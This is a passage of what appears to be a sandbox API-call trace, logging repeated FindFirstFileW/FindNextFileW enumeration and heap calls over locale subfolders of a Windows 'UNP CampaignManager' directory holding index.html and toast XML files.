ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.126] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0184.127] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.127] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0184.127] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.130] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.130] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x990a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.130] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.130] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.131] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.131] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.131] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.132] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.132] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.134] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.134] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f08d25f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f08d25f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.135] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f27d1ae, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f27d1ae, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.135] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.135] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.135] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.135] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.136] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.136] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0184.136] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.139] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.139] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa7a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.139] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.139] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.139] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.139] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.139] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.140] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.140] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1 [0184.141] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0184.143] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.143] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.143] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.143] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.144] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.144] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.144] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0184.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.145] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0184.145] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.147] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.147] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.147] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.147] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.148] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.148] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.148] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.149] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.149] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1 [0184.149] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.149] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 